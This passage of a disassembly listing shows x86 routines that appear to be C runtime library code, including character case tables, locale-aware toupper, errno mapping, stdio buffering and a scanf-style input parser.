; ---------------------------------------------------------------------------

loc_420221:				; CODE XREF: sub_4200E8+1Dj
		xor	eax, eax
		mov	esi, 100h

loc_420228:				; CODE XREF: sub_4200E8+180j
		cmp	eax, 41h
		jb	short loc_420246
		cmp	eax, 5Ah
		ja	short loc_420246
		or	byte_4DC821[eax], 10h
		mov	cl, al
		add	cl, 20h

loc_42023E:				; CODE XREF: sub_4200E8+174j
		mov	byte_4DC720[eax], cl
		jmp	short loc_420265
; ---------------------------------------------------------------------------

loc_420246:				; CODE XREF: sub_4200E8+143j
					; sub_4200E8+148j
		cmp	eax, 61h
		jb	short loc_42025E
		cmp	eax, 7Ah
		ja	short loc_42025E
		or	byte_4DC821[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42023E
; ---------------------------------------------------------------------------

loc_42025E:				; CODE XREF: sub_4200E8+161j
					; sub_4200E8+166j
		and	byte_4DC720[eax], 0

loc_420265:				; CODE XREF: sub_4200E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420228

loc_42026A:				; CODE XREF: sub_4200E8+137j
		pop	esi
		leave
		retn
sub_4200E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026D	proc near		; CODE XREF: ___:00422E7Bp
					; ___:00422ED7p ...
		cmp	dword_4DC954, 0
		jnz	short locret_420288
		push	0FFFFFFFDh
		call	sub_41FEA9
		pop	ecx
		mov	dword_4DC954, 1

locret_420288:				; CODE XREF: sub_42026D+7j
		retn
sub_42026D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420289	proc near		; CODE XREF: sub_41B9D1+2Bp
					; sub_41B9D1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC71C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4202AD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_420310
; ---------------------------------------------------------------------------

loc_4202AD:				; CODE XREF: sub_420289+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4202F2
		mov	ecx, [ebp+arg_4]

loc_4202B8:				; CODE XREF: sub_420289+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DC821[esi], 4
		mov	[edi], al
		jz	short loc_4202DC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4202E8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202EE
		jmp	short loc_4202E2
; ---------------------------------------------------------------------------

loc_4202DC:				; CODE XREF: sub_420289+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202F2

loc_4202E2:				; CODE XREF: sub_420289+51j
		test	edx, edx
		jnz	short loc_4202B8
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------

loc_4202E8:				; CODE XREF: sub_420289+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------

loc_4202EE:				; CODE XREF: sub_420289+4Fj
		and	byte ptr [edi-2], 0

loc_4202F2:				; CODE XREF: sub_420289+2Aj
					; sub_420289+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42030D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb

loc_42030D:				; CODE XREF: sub_420289+6Fj
		mov	eax, [ebp+arg_0]

loc_420310:				; CODE XREF: sub_420289+22j
		pop	edi
		pop	ebp
		retn
sub_420289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420313	proc near		; CODE XREF: sub_41BBBD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB364, 0
		push	ebx
		jnz	short loc_42033E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4203DC
		cmp	eax, 7Ah
		jg	loc_4203DC
		sub	eax, 20h
		jmp	loc_4203DC
; ---------------------------------------------------------------------------

loc_42033E:				; CODE XREF: sub_420313+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420371
		cmp	dword_43C534, 1
		jle	short loc_42035E
		push	2
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420369
; ---------------------------------------------------------------------------

loc_42035E:				; CODE XREF: sub_420313+3Dj
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 2

loc_420369:				; CODE XREF: sub_420313+49j
		test	eax, eax
		jnz	short loc_420371

loc_42036D:				; CODE XREF: sub_420313+AFj
		mov	eax, ebx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------

loc_420371:				; CODE XREF: sub_420313+34j
					; sub_420313+58j
		mov	edx, off_43C328
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420394
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42039D
; ---------------------------------------------------------------------------

loc_420394:				; CODE XREF: sub_420313+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1

loc_42039D:				; CODE XREF: sub_420313+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DB364
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_42036D
		cmp	eax, 1
		jnz	short loc_4203CF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------

loc_4203CF:				; CODE XREF: sub_420313+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_4203DC:				; CODE XREF: sub_420313+14j
					; sub_420313+1Dj ...
		pop	ebx
		leave
		retn
sub_420313	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203DF	proc near		; CODE XREF: sub_41BDDC+1Dp
					; sub_41D3BE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DB2AC, ecx
		mov	eax, offset dword_43C640

loc_4203F0:				; CODE XREF: sub_4203DF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420414
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43C7A8
		jl	short loc_4203F0
		cmp	ecx, 13h
		jb	short loc_420421
		cmp	ecx, 24h
		ja	short loc_420421
		mov	dword_4DB2A8, 0Dh
		retn
; ---------------------------------------------------------------------------

loc_420414:				; CODE XREF: sub_4203DF+13j
		mov	eax, dword_43C644[edx*8]
		mov	dword_4DB2A8, eax
		retn
; ---------------------------------------------------------------------------

loc_420421:				; CODE XREF: sub_4203DF+23j
					; sub_4203DF+28j
		cmp	ecx, 0BCh
		jb	short loc_42043B
		cmp	ecx, 0CAh
		mov	dword_4DB2A8, 8
		jbe	short locret_420445

loc_42043B:				; CODE XREF: sub_4203DF+48j
		mov	dword_4DB2A8, 16h

locret_420445:				; CODE XREF: sub_4203DF+5Aj
		retn
sub_4203DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420446	proc near		; CODE XREF: sub_41BE06+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jz	short loc_4204CF
		cmp	esi, offset dword_43CA38
		jnz	short loc_420464
		xor	eax, eax
		jmp	short loc_42046F
; ---------------------------------------------------------------------------

loc_420464:				; CODE XREF: sub_420446+18j
		cmp	esi, offset dword_43CA58
		jnz	short loc_4204CF
		push	1
		pop	eax

loc_42046F:				; CODE XREF: sub_420446+1Cj
		inc	dword_4DB490
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4204CF
		cmp	dword_4DB334[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DB334h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4204B5
		push	ebx
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4204B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4204C2
; ---------------------------------------------------------------------------

loc_4204B5:				; CODE XREF: sub_420446+4Dj
					; sub_420446+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx

loc_4204C2:				; CODE XREF: sub_420446+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4204CF:				; CODE XREF: sub_420446+10j
					; sub_420446+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204D3	proc near		; CODE XREF: sub_41BE06+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4204FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42050E
		push	esi
		call	sub_41DB8B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4204FD:				; CODE XREF: sub_4204D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42050E
		push	eax
		call	sub_41DB8B
		pop	ecx

loc_42050E:				; CODE XREF: sub_4204D3+10j
					; sub_4204D3+32j
		pop	esi
		retn
sub_4204D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420510	proc near		; CODE XREF: sub_41C645+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420F16
		mov	edi, [ebp+arg_0]
		jmp	short loc_42053F
; ---------------------------------------------------------------------------

loc_42053A:				; CODE XREF: sub_420510+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx

loc_42053F:				; CODE XREF: sub_420510+28j
		cmp	dword_43C534, 1
		jle	short loc_420557
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420566
; ---------------------------------------------------------------------------

loc_420557:				; CODE XREF: sub_420510+36j
		mov	ecx, off_43C328
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_420566:				; CODE XREF: sub_420510+45j
		cmp	eax, ebx
		jz	short loc_4205A0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420F9D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420F86
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		add	esp, 0Ch

loc_42058E:				; CODE XREF: sub_420510+8Ej
		test	eax, eax
		jz	short loc_4205A0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		pop	ecx
		jmp	short loc_42058E
; ---------------------------------------------------------------------------

loc_4205A0:				; CODE XREF: sub_420510+58j
					; sub_420510+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420E82
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx

loc_4205D7:				; CODE XREF: sub_420510+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43C534, 1
		jle	short loc_4205F4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420603
; ---------------------------------------------------------------------------

loc_4205F4:				; CODE XREF: sub_420510+D3j
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_420603:				; CODE XREF: sub_420510+E2j
		test	eax, eax
		jz	short loc_420619
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420619:				; CODE XREF: sub_420510+F5j
		cmp	ebx, 4Eh
		jg	short loc_42065C
		jz	short loc_42067E
		cmp	ebx, 2Ah
		jz	short loc_420657
		cmp	ebx, 46h
		jz	short loc_42067E
		cmp	ebx, 49h
		jz	short loc_420639
		cmp	ebx, 4Ch
		jnz	short loc_42066B
		inc	[ebp+var_D]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420639:				; CODE XREF: sub_420510+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42066B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42066B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420657:				; CODE XREF: sub_420510+113j
		inc	[ebp+var_E]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_42065C:				; CODE XREF: sub_420510+10Cj
		cmp	ebx, 68h
		jz	short loc_420678
		cmp	ebx, 6Ch
		jz	short loc_420670
		cmp	ebx, 77h
		jz	short loc_420673

loc_42066B:				; CODE XREF: sub_420510+122j
					; sub_420510+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420670:				; CODE XREF: sub_420510+154j
		inc	[ebp+var_D]

loc_420673:				; CODE XREF: sub_420510+159j
		inc	[ebp+var_5]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420678:				; CODE XREF: sub_420510+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]

loc_42067E:				; CODE XREF: sub_420510+107j
					; sub_420510+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4205D7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4206A3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax

loc_4206A3:				; CODE XREF: sub_420510+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4206C1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4206BD
		cmp	al, 43h
		jz	short loc_4206BD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4206C1
; ---------------------------------------------------------------------------

loc_4206BD:				; CODE XREF: sub_420510+1A1j
					; sub_420510+1A5j
		mov	[ebp+var_5], 1

loc_4206C1:				; CODE XREF: sub_420510+19Bj
					; sub_420510+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4206FA
		cmp	esi, 63h
		jz	short loc_4206EB
		cmp	esi, 7Bh
		jz	short loc_4206EB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420F9D
		pop	ecx
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------

loc_4206EB:				; CODE XREF: sub_420510+1C5j
					; sub_420510+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C

loc_4206F6:				; CODE XREF: sub_420510+1D9j
		pop	ecx
		mov	[ebp+var_14], eax

loc_4206FA:				; CODE XREF: sub_420510+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42070A
		cmp	[ebp+var_C], eax
		jz	loc_420EE6

loc_42070A:				; CODE XREF: sub_420510+1EFj
		cmp	esi, 6Fh
		jg	loc_420971
		jz	loc_420C23
		cmp	esi, 63h
		jz	loc_42094E
		cmp	esi, 64h
		jz	loc_420C23
		jle	loc_42099B
		cmp	esi, 67h
		jle	short loc_42076E
		cmp	esi, 69h
		jz	short loc_420756
		cmp	esi, 6Eh
		jnz	loc_42099B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420E51
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420756:				; CODE XREF: sub_420510+229j
		push	64h
		pop	esi

loc_420759:				; CODE XREF: sub_420510+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4209E3
		mov	[ebp+var_17], 1
		jmp	loc_4209E8
; ---------------------------------------------------------------------------

loc_42076E:				; CODE XREF: sub_420510+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42078A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42078F
; ---------------------------------------------------------------------------

loc_42078A:				; CODE XREF: sub_420510+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4207A6

loc_42078F:				; CODE XREF: sub_420510+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207A9
; ---------------------------------------------------------------------------

loc_4207A6:				; CODE XREF: sub_420510+27Dj
		mov	edi, [ebp+arg_0]

loc_4207A9:				; CODE XREF: sub_420510+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4207B8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4207BF

loc_4207B8:				; CODE XREF: sub_420510+29Dj
		mov	[ebp+var_C], 15Dh

loc_4207BF:				; CODE XREF: sub_420510+2A6j
					; sub_420510+2F2j
		cmp	dword_43C534, 1
		jle	short loc_4207D4
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------

loc_4207D4:				; CODE XREF: sub_420510+2B6j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_4207DF:				; CODE XREF: sub_420510+2C2j
		test	eax, eax
		jz	short loc_420804
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420804
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207BF
; ---------------------------------------------------------------------------

loc_420804:				; CODE XREF: sub_420510+2D1j
					; sub_420510+2DBj
		cmp	byte_43C538, bl
		jnz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		mov	al, byte_43C538
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi

loc_42082D:				; CODE XREF: sub_420510+360j
		cmp	dword_43C534, 1
		jle	short loc_420842
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42084D
; ---------------------------------------------------------------------------

loc_420842:				; CODE XREF: sub_420510+324j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_42084D:				; CODE XREF: sub_420510+330j
		test	eax, eax
		jz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42082D
; ---------------------------------------------------------------------------

loc_420872:				; CODE XREF: sub_420510+2FAj
					; sub_420510+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42090A
		cmp	ebx, 65h
		jz	short loc_42088A
		cmp	ebx, 45h
		jnz	loc_42090A

loc_42088A:				; CODE XREF: sub_420510+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4208B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4208B6
; ---------------------------------------------------------------------------

loc_4208B1:				; CODE XREF: sub_420510+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4208D4

loc_4208B6:				; CODE XREF: sub_420510+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4208C5
		and	[ebp+var_C], eax
		jmp	short loc_4208D4
; ---------------------------------------------------------------------------

loc_4208C5:				; CODE XREF: sub_420510+3AEj
					; sub_420510+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_4208D4:				; CODE XREF: sub_420510+3A4j
					; sub_420510+3B3j
		cmp	dword_43C534, 1
		jle	short loc_4208E9
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4208F4
; ---------------------------------------------------------------------------

loc_4208E9:				; CODE XREF: sub_420510+3CBj
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_4208F4:				; CODE XREF: sub_420510+3D7j
		test	eax, eax
		jz	short loc_42090A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4208C5
; ---------------------------------------------------------------------------

loc_42090A:				; CODE XREF: sub_420510+366j
					; sub_420510+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43C8D8
		add	esp, 0Ch
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_42094E:				; CODE XREF: sub_420510+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42095D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1

loc_42095D:				; CODE XREF: sub_420510+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420967
		mov	[ebp+var_16], 1

loc_420967:				; CODE XREF: sub_420510+451j
		mov	edi, offset dword_43C7B0
		jmp	loc_420A7C
; ---------------------------------------------------------------------------

loc_420971:				; CODE XREF: sub_420510+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420C1F
		sub	eax, 3
		jz	loc_420A6D
		dec	eax
		dec	eax
		jz	loc_420C23
		sub	eax, 3
		jz	loc_420759
		sub	eax, 3
		jz	short loc_4209BF

loc_42099B:				; CODE XREF: sub_420510+21Bj
					; sub_420510+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420EE6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_4209BF:				; CODE XREF: sub_420510+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4209C9
		mov	[ebp+var_16], 1

loc_4209C9:				; CODE XREF: sub_420510+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420A80
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420A7C
; ---------------------------------------------------------------------------

loc_4209E3:				; CODE XREF: sub_420510+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420A0A

loc_4209E8:				; CODE XREF: sub_420510+259j
		dec	[ebp+var_C]
		jnz	short loc_4209F9
		cmp	[ebp+var_20], 0
		jz	short loc_4209F9
		mov	[ebp+var_F], 1
		jmp	short loc_420A0A
; ---------------------------------------------------------------------------

loc_4209F9:				; CODE XREF: sub_420510+4DBj
					; sub_420510+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_420A0A:				; CODE XREF: sub_420510+4D6j
					; sub_420510+4E7j
		cmp	ebx, 30h
		jnz	loc_420C58
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420A58
		cmp	bl, 58h
		jz	short loc_420A58
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420A42
		push	6Fh

loc_420A3C:				; CODE XREF: sub_420510+55Bj
		pop	esi
		jmp	loc_420C58
; ---------------------------------------------------------------------------

loc_420A42:				; CODE XREF: sub_420510+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420C55
; ---------------------------------------------------------------------------

loc_420A58:				; CODE XREF: sub_420510+517j
					; sub_420510+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420A3C
; ---------------------------------------------------------------------------

loc_420A6D:				; CODE XREF: sub_420510+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420A77
		mov	[ebp+var_16], 1

loc_420A77:				; CODE XREF: sub_420510+561j
		mov	edi, offset dword_43C7A8

loc_420A7C:				; CODE XREF: sub_420510+45Cj
					; sub_420510+4CEj
		or	[ebp+var_18], 0FFh

loc_420A80:				; CODE XREF: sub_420510+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420AA4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420AA4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

loc_420AA4:				; CODE XREF: sub_420510+584j
					; sub_420510+589j
		mov	dl, [ebp+var_35]

loc_420AA7:				; CODE XREF: sub_420510+592j
					; sub_420510+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420B0C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420AF3
		test	dl, dl
		jz	short loc_420AF3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420AF3
		inc	edi
		cmp	dl, cl
		jnb	short loc_420AC6
		mov	al, cl
		jmp	short loc_420ACA
; ---------------------------------------------------------------------------

loc_420AC6:				; CODE XREF: sub_420510+5B0j
		mov	al, dl
		mov	dl, cl

loc_420ACA:				; CODE XREF: sub_420510+5B4j
		cmp	dl, al
		ja	short loc_420AEF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi

loc_420AD7:				; CODE XREF: sub_420510+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420AD7

loc_420AEF:				; CODE XREF: sub_420510+5BCj
		xor	dl, dl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

